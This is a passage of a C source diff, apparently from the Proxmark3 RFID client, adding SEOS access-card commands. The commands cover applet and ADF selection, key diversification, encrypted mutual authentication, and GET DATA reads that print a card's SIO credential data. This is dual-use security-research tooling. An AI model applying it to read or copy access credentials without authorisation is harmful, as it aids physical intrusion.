uint8_t response[PM3_CMD_DATA_SIZE]; + + // ---------------- Diversify Keys ---------------- + uint8_t mk[16] = { 0x00 }; + memcpy(mk, keys[key_index].readKey, 16); + uint8_t keyslot = 0x01; // up to 0x0F + uint8_t AES_key[24] = {0x00}; + uint8_t MAC_key[24] = {0x00}; + uint8_t adfOID[17] = {0x2b, 0x06, 0x01, 0x04, 0x01, 0x81, 0xe4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; + + // Null AES IV + uint8_t nullDiversifier[7] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + if (memcmp(CRYPTOGRAM_Diversifier, nullDiversifier, sizeof(nullDiversifier)) == 0) { + PrintAndLogEx(ERR, "No Diversifier found"); + return PM3_ESOFT; + } + + seos_kdf(true, mk, keyslot, adfOID, sizeof(adfOID), CRYPTOGRAM_Diversifier, diversifier_len, AES_key, encryption_algorithm, hash_algorithm); + seos_kdf(false, mk, keyslot, adfOID, sizeof(adfOID), CRYPTOGRAM_Diversifier, diversifier_len, MAC_key, encryption_algorithm, hash_algorithm); + + memcpy(&MAC_key[16], &MAC_key[0], 8); + memcpy(&AES_key[16], &AES_key[0], 8); + + // PrintAndLogEx(INFO, "--- " _CYAN_("Diversified Keys") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Diversified Enc Key.............. " _YELLOW_("%s"), sprint_hex_inrow(AES_key, (sizeof(AES_key)))); + // PrintAndLogEx(SUCCESS, "Diversified Mac Key.............. " _YELLOW_("%s"), sprint_hex_inrow(MAC_key, (sizeof(MAC_key)))); + // PrintAndLogEx(INFO, "--- " _CYAN_("Mutual Auth") " ---------------------------"); + + // ----------------- Command Generation ----------------- + uint8_t mutual_auth_plain[32]; + memcpy(mutual_auth_plain, randomIFD, 8); + memcpy(mutual_auth_plain + 8, randomICC, 8); + memcpy(mutual_auth_plain + 8 + 8, keyIFD, 16); + + // ----------------- Encryption and MAC Generation ----------------- + uint8_t mac[8]; + uint8_t mutual_auth_enc[32]; + create_cryptogram(AES_key, mutual_auth_plain, mutual_auth_enc, sizeof(mutual_auth_plain), encryption_algorithm); + create_cmac(MAC_key, mutual_auth_enc, mac, sizeof(mutual_auth_enc), encryption_algorithm); + + uint8_t message_authenticated[40]; + memcpy(message_authenticated, mutual_auth_enc, sizeof(mutual_auth_enc)); + memcpy(message_authenticated + sizeof(mutual_auth_enc), mac, sizeof(mac)); + + // ----------------- Debugging ----------------- + // PrintAndLogEx(SUCCESS, "AES IV : "_YELLOW_("%s"), sprint_hex_inrow(AES_iv,sizeof(AES_iv))); + // PrintAndLogEx(SUCCESS, "AES Key: "_YELLOW_("%s"), sprint_hex_inrow(AES_key,sizeof(AES_key))); + // PrintAndLogEx(SUCCESS, "mutual_auth_plain... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_plain, sizeof(mutual_auth_plain))); + // PrintAndLogEx(SUCCESS, "mutual_auth_enc..... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_enc, sizeof(mutual_auth_enc))); + + // PrintAndLogEx(INFO, "--- " _CYAN_("MAC") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "AES IV: "_YELLOW_("%s"), sprint_hex_inrow(AES_iv,sizeof(AES_iv))); + // PrintAndLogEx(SUCCESS, "MAC Key: "_YELLOW_("%s"), sprint_hex_inrow(MAC_key,sizeof(MAC_key))); + // PrintAndLogEx(SUCCESS, "Message.......................... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_enc,sizeof(mutual_auth_enc))); + // PrintAndLogEx(SUCCESS, "MAC.............................. " _YELLOW_("%s"), sprint_hex_inrow(mac,sizeof(mac))); + + // ----------------- Command Generation ----------------- + + const char *prefixLenHex = "2c"; + const char *ASN1_tagAboveLenHex = "2a"; + const char *ASN1_auth_encryptedLenHex = "28"; + + const char *mutual_auth_message = sprint_hex_inrow(message_authenticated, sizeof(message_authenticated)); + + char keyslot_str[3]; + snprintf(keyslot_str, sizeof(keyslot_str), "%02X", keyslot); + + const char *prefix = "008700"; + const char *ASN1_tagAbove = "7c"; + const char *ASN1_auth_encrypted = "82"; + const char *suffix = "00"; + + char mutual_auth[102]; + snprintf(mutual_auth, sizeof(mutual_auth), "%s%s%s%s%s%s%s%s%s", prefix, keyslot_str, prefixLenHex, ASN1_tagAbove, ASN1_tagAboveLenHex, ASN1_auth_encrypted, ASN1_auth_encryptedLenHex, mutual_auth_message, suffix); + // PrintAndLogEx(SUCCESS, "Mutual Auth Encrypted Request.... " _YELLOW_("%s"), mutual_auth); + + // BLOCKS MUTUAL AUTH BEFORE REQUIRED + // return PM3_SUCCESS; + // + + int resplen = 0; + bool activate_field = false; + bool keep_field_on = true; + + uint8_t aMUTUAL_AUTH[102] = {0}; + int aMUTUAL_AUTH_n = 0; + param_gethex_to_eol(mutual_auth, 0, aMUTUAL_AUTH, sizeof(aMUTUAL_AUTH), &aMUTUAL_AUTH_n); + int res = ExchangeAPDU14a(aMUTUAL_AUTH, aMUTUAL_AUTH_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Mutual Auth Request Failed"); DropField(); return PM3_ESOFT; } uint16_t sw = get_sw(response, resplen); if (sw != ISO7816_OK) { - PrintAndLogEx(ERR, "Selecting SEOS applet aid failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + PrintAndLogEx(ERR, "Mutual Auth Request Failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); DropField(); return PM3_ESOFT; } - activate_field = false; - keep_field_on = false; - // --------------- CC file reading ---------------- + // PrintAndLogEx(INFO, "--- " _CYAN_("Get Challenge") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Raw Mutual Auth Response: " _YELLOW_("%s"), sprint_hex_inrow(response, (resplen - 2))); + // PrintAndLogEx(SUCCESS, "Mutual Auth Encrypted Response... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_response, sizeof(mutual_auth_response))); + // PrintAndLogEx(SUCCESS, "Mutual Auth MAC Response: " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_mac_response, sizeof(mutual_auth_mac_response))); + // PrintAndLogEx(SUCCESS, "Mutual Auth MAC Input: " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_validate, sizeof(mutual_auth_validate))); + // PrintAndLogEx(SUCCESS, "Mutual Auth MAC Calculated: " _YELLOW_("%s"), sprint_hex_inrow(mac_calculated, sizeof(mac_calculated))); - uint8_t aSELECT_FILE_ADF[30]; + // Process Response + uint8_t iv[16] = {}; + uint8_t mutual_auth_response[32]; + uint8_t mutual_auth_mac_response[8]; + memcpy(mutual_auth_response, &response[4], 32); + memcpy(mutual_auth_mac_response, &response[4 + 32], 8); + + // PrintAndLogEx(SUCCESS, "Mutual Auth Encrypted Response... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_response, sizeof(mutual_auth_response))); + // PrintAndLogEx(SUCCESS, "Mutual Auth MAC Response: " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_mac_response, sizeof(mutual_auth_mac_response))); + + uint8_t mutual_auth_response_decrypted[32]; + if (encryption_algorithm == 0x09) { + aes_decode(iv, AES_key, mutual_auth_response, mutual_auth_response_decrypted, sizeof(mutual_auth_response)); + } else if (encryption_algorithm == 0x02) { + mbedtls_des3_context ctx3; + mbedtls_des3_set2key_dec(&ctx3, AES_key); + mbedtls_des3_crypt_cbc(&ctx3, MBEDTLS_DES_DECRYPT, sizeof(mutual_auth_response), iv, mutual_auth_response, mutual_auth_response_decrypted); + mbedtls_des3_free(&ctx3); + } + + // Validate response with comparison between nonce and randomICC + uint8_t mutual_auth_RandomICC[8]; + memcpy(mutual_auth_RandomICC, &mutual_auth_response_decrypted, 8); + + // PrintAndLogEx(SUCCESS, "Mutual Auth Decrypted Response... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_response_decrypted, sizeof(mutual_auth_response_decrypted))); + + if (memcmp(randomICC, mutual_auth_RandomICC, 8) != 0) { + PrintAndLogEx(ERR, "RandomICC does not match decrypted RandomICC"); + PrintAndLogEx(ERR, "Likely wrong Key or IV"); + return PM3_ESOFT; + } + + memcpy(mutual_auth_randomIFD, &mutual_auth_response_decrypted[8], 8); + memcpy(mutual_auth_keyICC, &mutual_auth_response_decrypted[16], 16); + + // PrintAndLogEx(SUCCESS, _GREEN_("Mutual Auth Completed")); + // PrintAndLogEx(INFO, "--- " _CYAN_("Decrypted Response") " ---------------------------"); + // PrintAndLogEx(SUCCESS, "Mutual Auth Decrypted Response... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_response_decrypted, sizeof(mutual_auth_response_decrypted))); + // PrintAndLogEx(SUCCESS, "Mutual Auth RandomICC............ " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_RandomICC, sizeof(mutual_auth_RandomICC))); + // PrintAndLogEx(SUCCESS, "Mutual Auth RandomIFD............ " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_randomIFD, sizeof(mutual_auth_randomIFD))); + // PrintAndLogEx(SUCCESS, "Mutual Auth KeyICC............... " _YELLOW_("%s"), sprint_hex_inrow(mutual_auth_keyICC, sizeof(mutual_auth_keyICC))); + + return PM3_SUCCESS; +}; + +static int seos_aid_select(void) { + // Working 100%, pulls from live card + bool activate_field = true; + bool keep_field_on = true; + uint8_t response[PM3_CMD_DATA_SIZE]; + int resplen = 0; + + // --------------- Select AID for SEOS Card ---------------- + typedef struct { + const char *name; + const char *value; + } seos_aid_t; + + static const seos_aid_t known_AID_map[] = { + {"STANDARD_SEOS", "A00000044000010100010"}, + {"MOBILE_SEOS_ADMIN_CARD", "A000000382002D0001010"}, + }; + + int i; + int res = PM3_ESOFT; + //PrintAndLogEx(INFO, "--- " _CYAN_("AID Selection") " ---------------------------"); + for (i = 0; i < ARRAYLEN(known_AID_map); i++) { + + const char *selectedAID = known_AID_map[i].value; + + // Select command prefixed with a 00 + const char *prefix = "00A404"; + uint16_t aidlen = strlen(selectedAID) >> 1; + + char aidlenHex[5]; + snprintf(aidlenHex, sizeof(aidlenHex), "%04X", aidlen); + + const char *suffix = "0"; + char combinedString[100]; + + snprintf(combinedString, sizeof(combinedString), "%s%s%s%s", prefix, aidlenHex, selectedAID, suffix); + //PrintAndLogEx(SUCCESS, "AID Selected: " _YELLOW_("%s"), known_AID_map[i].name); + //PrintAndLogEx(SUCCESS, "AID Select Command: " _YELLOW_("%s"), combinedString); + + // --------------- Select AID for SEOS Card ---------------- + uint8_t aSELECT_AID[80]; + int aSELECT_AID_n = 0; + param_gethex_to_eol(combinedString, 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); + res = ExchangeAPDU14a(aSELECT_AID, aSELECT_AID_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + DropField(); + continue; + } + + if (resplen < 2) { + DropField(); + continue; + } + + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Selecting SEOS applet aid failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); + continue; + } + + // if we made it here, its a success and we break :) + break; + } + if (i == ARRAYLEN(known_AID_map)) { + return PM3_ESOFT; + } + return res; +}; + +static int seos_pacs_adf_select(char *oid, int oid_len, uint8_t *get_data, int get_data_len, int key_index) { + int resplen = 0; + uint8_t response[PM3_CMD_DATA_SIZE]; + bool activate_field = false; + bool keep_field_on = true; + + // --------------- ADF file Selection ---------------- + + // breaks down to + // 06 = ASN.1 Tag + // 11 = Len + // 2b0601040181e438010102011801010202 = ADF-OID + + // --------------- OID Selection ---------------- + const char *ADFprefix = "06"; + char selectedOID[100]; + snprintf(selectedOID, sizeof(selectedOID), "%s", oid); + + uint16_t selectedOIDLen = strlen(selectedOID); + char selectedOIDLenHex[3]; + snprintf(selectedOIDLenHex, sizeof(selectedOIDLenHex), "%02X", (selectedOIDLen >> 1) & 0xFF); + + char selectedADF[strlen(ADFprefix) + strlen(selectedOIDLenHex) + selectedOIDLen + 1]; + snprintf(selectedADF, sizeof(selectedADF), "%s%s%s", ADFprefix, selectedOIDLenHex, selectedOID); + + // --------------- Command Builder Selection ---------------- + // prefix is the APDU command we are sending + const char *prefix = "80A504"; + const char *suffix = "00"; + const char *keyReference = "00"; + + uint16_t selectedADFLen = strlen(selectedADF); + + char adflenHex[3]; + snprintf(adflenHex, sizeof(adflenHex), "%02X", (selectedADFLen >> 1) & 0xFF); + + char selectADF[strlen(prefix) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; + + // 80 A5 04 00 13 06 11 2B 06 01 04 01 81 E4 38 01 01 02 01 18 01 01 02 02 00 + snprintf(selectADF, sizeof(selectADF), "%s%s%s%s%s", prefix, keyReference, adflenHex, selectedADF, suffix); + + + PrintAndLogEx(INFO, "--- " _CYAN_("Select ADF") " ---------------------------"); + PrintAndLogEx(SUCCESS, "Selected ADF..................... "_YELLOW_("%s"), selectedOID); + + // --------------- Send APDU Command ---------------- + + uint8_t aSELECT_FILE_ADF[124]; int aSELECT_FILE_ADF_n = 0; - param_gethex_to_eol("80a504001306112b0601040181e43801010201180101020200", 0, aSELECT_FILE_ADF, sizeof(aSELECT_FILE_ADF), &aSELECT_FILE_ADF_n); - res = ExchangeAPDU14a(aSELECT_FILE_ADF, aSELECT_FILE_ADF_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + // Input into getHextoEOL is a Char string + param_gethex_to_eol(selectADF, 0, aSELECT_FILE_ADF, sizeof(aSELECT_FILE_ADF), &aSELECT_FILE_ADF_n); + int res = ExchangeAPDU14a(aSELECT_FILE_ADF, aSELECT_FILE_ADF_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { DropField(); return res; } - sw = get_sw(response, resplen); + uint16_t sw = get_sw(response, resplen); if (sw != ISO7816_OK) { PrintAndLogEx(ERR, "Selecting ADF file failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); DropField(); return PM3_ESOFT; } - // remove the 2byte SW - asn1_print(response, resplen - 2, " "); + // --------------- Decrypt ADF Response ---------------- + // Information returned from the GetChallenge command + int ALGORITHM_INFO_value1 = 0; // Encryption Algorithm + int ALGORITHM_INFO_value2 = 0; // Hash Algorithm + uint8_t CRYPTOGRAM_encrypted_data[64]; // Encrypted Data + uint8_t MAC_value[8] = {0}; // MAC Value + + uint8_t diversifier[7] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t RNDICC[8] = {0}; + uint8_t KeyICC[16] = {0}; + uint8_t RNDIFD[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t KeyIFD[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + uint8_t Diversified_New_EncryptionKey[24] = {0}; + uint8_t Diversified_New_MACKey[24] = {0}; + + resplen -= 2; + + seos_challenge_get(RNDICC, sizeof(RNDICC), 0x01); + select_df_decode(response, resplen, &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); + res = select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + + if (res != PM3_SUCCESS) { + return res; + } + + if (ALGORITHM_INFO_value1 == 0x09 || ALGORITHM_INFO_value1 == 0x02) { + + select_ADF_decrypt(selectedADF, CRYPTOGRAM_encrypted_data, diversifier, ALGORITHM_INFO_value1, key_index); + seos_mutual_auth(RNDICC, diversifier, sizeof(diversifier), RNDIFD, KeyICC, RNDIFD, sizeof(RNDIFD), KeyIFD, sizeof(KeyIFD), ALGORITHM_INFO_value1, ALGORITHM_INFO_value2, key_index); + create_mutual_auth_key(KeyIFD, KeyICC, RNDICC, RNDIFD, Diversified_New_EncryptionKey, Diversified_New_MACKey, ALGORITHM_INFO_value1, ALGORITHM_INFO_value2); + + uint8_t sio_buffer_out[PM3_CMD_DATA_SIZE]; + int sio_size = 0; + seos_get_data(RNDICC, RNDIFD, Diversified_New_EncryptionKey, Diversified_New_MACKey, sio_buffer_out, &sio_size, ALGORITHM_INFO_value1, get_data, get_data_len); + + if (sio_size == 0) { + return PM3_ESOFT; + } + + if (sio_buffer_out[0] == 0x30) { + uint8_t sioOutput[sio_size]; + memcpy(sioOutput, sio_buffer_out, sio_size); + + PrintAndLogEx(INFO, "--- " _CYAN_("Key Data") " ---------------------------"); + PrintAndLogEx(SUCCESS, "SIO.............................. "_YELLOW_("%s"), sprint_hex_inrow(sioOutput, sizeof(sioOutput))); // SIO + PrintAndLogEx(SUCCESS, "SIO Size......................... "_YELLOW_("%i"), sio_size); // SIO Size + PrintAndLogEx(SUCCESS, "Diversifier...................... "_YELLOW_("%s"), sprint_hex_inrow(diversifier, ARRAYLEN(diversifier))); // Diversifier + }; + + } else { + PrintAndLogEx(ERR, "Unknown encryption algorithm"); + return PM3_ESOFT; + }; + + return PM3_SUCCESS; +}; + +static int seos_adf_select(char *oid, int oid_len, int key_index) { + int resplen = 0; + uint8_t response[PM3_CMD_DATA_SIZE]; + bool activate_field = false; + bool keep_field_on = true; + + // --------------- OID Selection ---------------- + const char *ADFprefix = "06"; + char selectedOID[100]; + snprintf(selectedOID, sizeof(selectedOID), "%s", oid); + uint16_t selectedOIDLen = strlen(selectedOID); + char selectedOIDLenHex[3]; + snprintf(selectedOIDLenHex, sizeof(selectedOIDLenHex), "%02X", (selectedOIDLen >> 1) & 0xFF); + + char selectedADF[strlen(ADFprefix) + strlen(selectedOIDLenHex) + selectedOIDLen + 1]; + snprintf(selectedADF, sizeof(selectedADF), "%s%s%s", ADFprefix, selectedOIDLenHex, selectedOID); + + // --------------- Command Builder Selection ---------------- + // prefix is the APDU command we are sending + const char *prefix = "80A504"; + const char *suffix = "00"; + const char *keyReference = "00"; + + uint16_t selectedADFLen = strlen(selectedADF); + char adflenHex[3]; + snprintf(adflenHex, sizeof(adflenHex), "%02X", (selectedADFLen >> 1) & 0xFF); + char selectADF[strlen(prefix) + strlen(adflenHex) + selectedADFLen + strlen(suffix) + 1]; + + // 80 A5 04 00 13 06 11 2B 06 01 04 01 81 E4 38 01 01 02 01 18 01 01 02 02 00 + snprintf(selectADF, sizeof(selectADF), "%s%s%s%s%s", prefix, keyReference, adflenHex, selectedADF, suffix); + PrintAndLogEx(INFO, "--- " _CYAN_("Select ADF") " ---------------------------"); + PrintAndLogEx(SUCCESS, "Selected ADF..................... "_YELLOW_("%s"), selectedADF); + + // --------------- Send APDU Command ---------------- + uint8_t aSELECT_FILE_ADF[124]; + int aSELECT_FILE_ADF_n = 0; + + // Input into getHextoEOL is a Char string + param_gethex_to_eol(selectADF, 0, aSELECT_FILE_ADF, sizeof(aSELECT_FILE_ADF), &aSELECT_FILE_ADF_n); + + int res = ExchangeAPDU14a(aSELECT_FILE_ADF, aSELECT_FILE_ADF_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Selecting ADF file failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); + return PM3_ESOFT; + } + + // --------------- Decrypt ADF Response ---------------- + // Information returned from the GetChallenge command + int ALGORITHM_INFO_value1 = 0; // Encryption Algorithm + int ALGORITHM_INFO_value2 = 0; // Hash Algorithm + uint8_t CRYPTOGRAM_encrypted_data[64] = {0}; // Encrypted Data + uint8_t MAC_value[8] = {0}; // MAC Value + uint8_t RNDICC[8] = {0}; + + resplen -= 2; + + seos_challenge_get(RNDICC, sizeof(RNDICC), 0x01); + select_df_decode(response, resplen, &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); + select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + return PM3_SUCCESS; +}; + +static int seos_gdf_select(int key_index) { + uint8_t response[PM3_CMD_DATA_SIZE]; + int resplen = 0; + + bool activate_field = false; + bool keep_field_on = true; + // --------------- Select Global_df for SEOS Card ---------------- + // SelectGDF = 00A507 + referenceDataQualifier + 00 + // 00A5070600 + // SelectGlobalDF = 00A50000 + + const char *getGDF = "00A5070600"; + + uint8_t agetGDF[10]; + int agetGDF_n = 0; + param_gethex_to_eol(getGDF, 0, agetGDF, sizeof(agetGDF), &agetGDF_n); + int res = ExchangeAPDU14a(agetGDF, agetGDF_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Get Global_df failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); + return PM3_ESOFT; + } + + // --------------- Decrypt GDF Response ---------------- + // Information returned from the GetChallenge command + int ALGORITHM_INFO_value1 = 0; // Encryption Algorithm + int ALGORITHM_INFO_value2 = 0; // Hash Algorithm + uint8_t CRYPTOGRAM_encrypted_data[64] = {0}; // Encrypted Data + uint8_t MAC_value[8] = {0}; // MAC Value + uint8_t RNDICC[8] = {0}; + + seos_challenge_get(RNDICC, sizeof(RNDICC), 0x09); + select_df_decode(response, (resplen - 2), &ALGORITHM_INFO_value1, &ALGORITHM_INFO_value2, CRYPTOGRAM_encrypted_data, MAC_value); + select_DF_verify(response, resplen, MAC_value, sizeof(MAC_value), ALGORITHM_INFO_value1, key_index); + + return PM3_SUCCESS; +}; + +static int seos_select(void) { + int res = seos_aid_select(); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + + const char *oid = "2B0601040181E438010102011801010202"; + int oid_len = strlen(oid); + res = seos_adf_select((char *)oid, oid_len, 0); + DropField(); + return res; +} + +static int seos_pacs(char *oid, int oid_len, uint8_t *get_data, int get_data_len, int key_index) { + int res = seos_aid_select(); + if (res != PM3_SUCCESS) { + DropField(); + return res; + } + + res = seos_pacs_adf_select(oid, oid_len, get_data, get_data_len, key_index); + DropField(); + return res; +} + +static int seos_global_df(int key_index) { + int res = seos_aid_select(); + if (res == PM3_SUCCESS) { + res = seos_gdf_select(key_index); + } + DropField(); + return res; +} + +static int seos_print_keys(bool verbose) { + PrintAndLogEx(NORMAL, ""); + if (verbose) { + for (int i = 0; i < ARRAYLEN(keys); i++) { + PrintAndLogEx(INFO, "Key Index........................ " _YELLOW_("%u"), i); + PrintAndLogEx(INFO, "Nonce............................ " _YELLOW_("%s"), sprint_hex(keys[i].nonce, 8)); + PrintAndLogEx(INFO, "Privacy Encryption Key........... " _YELLOW_("%s"), sprint_hex(keys[i].privEncKey, 16)); + PrintAndLogEx(INFO, "Privacy MAC Key.................. " _YELLOW_("%s"), sprint_hex(keys[i].privMacKey, 16)); + PrintAndLogEx(INFO, "Read Key......................... " _YELLOW_("%s"), sprint_hex(keys[i].readKey, 16)); + PrintAndLogEx(INFO, "Write Key........................ " _YELLOW_("%s"), sprint_hex(keys[i].writeKey, 16)); + PrintAndLogEx(INFO, "Admin Key........................ " _YELLOW_("%s"), sprint_hex(keys[i].adminKey, 16)); + PrintAndLogEx(INFO, "----------------------------"); + } + } else { + PrintAndLogEx(INFO, "idx| key"); + PrintAndLogEx(INFO, "---+------------------------"); + for (uint8_t i = 0; i < ARRAYLEN(keys); i++) { + if (memcmp(keys[i].privEncKey, zeros, sizeof(zeros)) == 0) + PrintAndLogEx(INFO, " %u |", i); + else + PrintAndLogEx(INFO, " %u | " _YELLOW_("%s"), i, sprint_hex(keys[i].nonce, 8)); + } + PrintAndLogEx(INFO, "---+------------------------"); + }; + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + +static int seos_load_keys(char *filename) { + uint8_t *dump = NULL; + size_t bytes_read = 0; + if (loadFile_safe(filename, "", (void **)&dump, &bytes_read) != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "File: " _YELLOW_("%s") ": not found or locked.", filename); + return PM3_EFILE; + } + + // 16 = max line size + // 8 = 8 items per keyset + // 4 = 4 keysets + if (bytes_read > 382) { + PrintAndLogEx(WARNING, "File is too long to load - exp: %zu got: %zu", sizeof(keys), bytes_read); + free(dump); + return PM3_EFILE; + } + + size_t kn = sizeof(keyset_t); + + size_t i = 0; + for (; i < bytes_read / kn; i++) { + memcpy(keys[i].nonce, dump + (i * kn), 8); + memcpy(keys[i].privEncKey, dump + ((i * kn) + 8), 16); + memcpy(keys[i].privMacKey, dump + ((i * kn) + 24), 16); + memcpy(keys[i].readKey, dump + ((i * kn) + 40), 16); + memcpy(keys[i].writeKey, dump + ((i * kn) + 56), 16); + memcpy(keys[i].adminKey, dump + ((i * kn) + 72), 16); + } + + free(dump); + PrintAndLogEx(SUCCESS, "Loaded" _GREEN_("%2zd") " keys from %s", i, filename); return PM3_SUCCESS; } int infoSeos(bool verbose) { - int res = seos_select(); - if (res == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); - } - return PM3_SUCCESS; + return seos_select(); } static int CmdHfSeosInfo(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf seos info", - "Get info from SEOS tags", - "hf seos info"); - + "Requests the unauthenticated information from the default ADF of a SEOS card\n" + "- If the card is a SEOS card\n" + "- Are static RND.ICC keys used (can detect SEOS default keyset)\n" + "- What encryption and hashing algorithm is use\n", + "hf seos info" + ); void *argtable[] = { arg_param_begin, arg_param_end @@ -111,14 +1335,444 @@ static int CmdHfSeosInfo(const char *Cmd) { return infoSeos(true); } +static int CmdHfSeosGDF(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf seos gdf", + "Get Global Data File (GDF) from SEOS card\n\n" + "By default:\n" + " - Key Index: 0\n", + "hf seos gdf" + "hf seos gdf --ki 0" + ); + void *argtable[] = { + arg_param_begin, + arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int key_index = arg_get_int_def(ctx, 1, 0); + + CLIParserFree(ctx); + return seos_global_df(key_index); +} + +static int CmdHfSeosPACS(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf seos pacs", + "Make a GET DATA request to an ADF of a SEOS card\n\n" + "By default:\n" + " - ADF OID : 2B0601040181E438010102011801010202\n" + " - Key Index: 0\n", + "hf seos pacs\n" + "hf seos pacs --ki 1\n" + "hf seos pacs -o 2B0601040181E438010102011801010202 --ki 0\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), + arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int get_data_len = 4; + uint8_t get_data[] = {0x5c, 0x02, 0xff, 0x00}; + + int oid_len = 0; + uint8_t oid_hex[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; + CLIGetHexWithReturn(ctx, 1, oid_hex, &oid_len); + + int key_index = arg_get_int_def(ctx, 2, 0); + + CLIParserFree(ctx); + + // Fall back to default OID + if (oid_len == 0) { + oid_len = 17; + } + + // convert OID hex to literal string + + char oid_buffer[256] = ""; + for (int i = 0; i < oid_len; i++) { + sprintf(oid_buffer + (i * 2), "%02X", oid_hex[i]); + } + + const char *oid = oid_buffer; + + if (oid_len == 0) { + PrintAndLogEx(ERR, "OID value must be supplied"); + return PM3_ESOFT; + } + + return seos_pacs((char *)oid, oid_len, get_data, get_data_len, key_index); +} + +static int CmdHfSeosADF(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf seos adf", + "Make a GET DATA request to an Application Data File (ADF) of a SEOS Tag\n" + "The ADF is meant to be read by an application\n" + "You still need the valid authentication keys to read a card\n\n" + "By default:\n" + " - ADF OID : 2B0601040181E438010102011801010202\n" + " - Key Index: 0\n" + " - Tag List : 5c02ff00\n", + "hf seos adf\n" + "hf seos adf -o 2B0601040181E438010102011801010202\n" + "hf seos adf -o 2B0601040181E438010102011801010202 --ki 0\n" + "hf seos adf -o 2B0601040181E438010102011801010202 -c 5c02ff41\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_str0("c", "getdata", "", "<0-100> hex bytes for the tag list to Get Data request (Default: 5c02ff00)"), + arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), + arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + int get_data_len = 0; + uint8_t get_data[256] = {0x5c, 0x02, 0xff, 0x00}; + CLIGetHexWithReturn(ctx, 1, get_data, &get_data_len); + + int oid_len = 0; + uint8_t oid_hex[256] = {0x2B, 0x06, 0x01, 0x04, 0x01, 0x81, 0xE4, 0x38, 0x01, 0x01, 0x02, 0x01, 0x18, 0x01, 0x01, 0x02, 0x02}; + CLIGetHexWithReturn(ctx, 2, oid_hex, &oid_len); + + int key_index = arg_get_int_def(ctx, 3, 0); + + CLIParserFree(ctx); + + if (get_data_len == 0) { + get_data_len = 4; + } + + // Catching when the OID value is not supplied + if (oid_len == 0) { + oid_len = 17; + } + + // convert OID hex to literal string + char oid_buffer[256] = ""; + for (int i = 0; i < oid_len; 